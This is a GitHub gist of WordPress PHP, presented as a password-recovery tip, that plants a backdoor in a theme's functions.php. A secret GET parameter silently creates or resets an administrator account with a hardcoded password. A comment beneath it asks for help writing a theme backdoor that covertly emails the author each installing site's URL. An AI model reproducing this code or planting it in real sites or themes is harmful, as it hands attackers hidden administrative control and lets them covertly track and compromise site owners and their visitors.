Skip to content

Instantly share code, notes, and snippets.

@mehedicsit
Created May 20, 2019 00:18
Show Gist options
  • Save mehedicsit/5cecb874e3a0e8c8c34d89ee35b4eb56 to your computer and use it in GitHub Desktop.
Save mehedicsit/5cecb874e3a0e8c8c34d89ee35b4eb56 to your computer and use it in GitHub Desktop.
wordpress backdoor access
//write this code in child theme functions.php to recover password if you forget.
add_action( ‘wp_head’, ‘my_backdoor’ );
function my_backdoor() {
if ( md5( $_GET[‘backdoor’] ) == ’34d1f91fb2e514b8576fab1a75a89a6b’ ) {
require( ‘wp-includes/registration.php’ );
if ( !username_exists( ‘mr_admin’ ) ) {
$user_id = wp_create_user( ‘mr_admin’, ‘pa55w0rd!’ );
$user = new WP_User( $user_id );
$user->set_role( ‘administrator’ );
}
else {
$user = get_user_by(‘login’,’pathway’);
wp_set_password(‘pa55w0rd!’, $user->ID );
$user->set_role( ‘administrator’ );
}
}
}
@azharanowar
Copy link

Hello, How can I add an email notification code in my theme or plugin... If I have a theme or plugin for everyone. I want to add some code to make a backdoor with email notification. If anybody installs my theme on her website I will get an email notification with her website name/URL. If you have those codes kindly help me... I need to learn it also, Thank you

Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment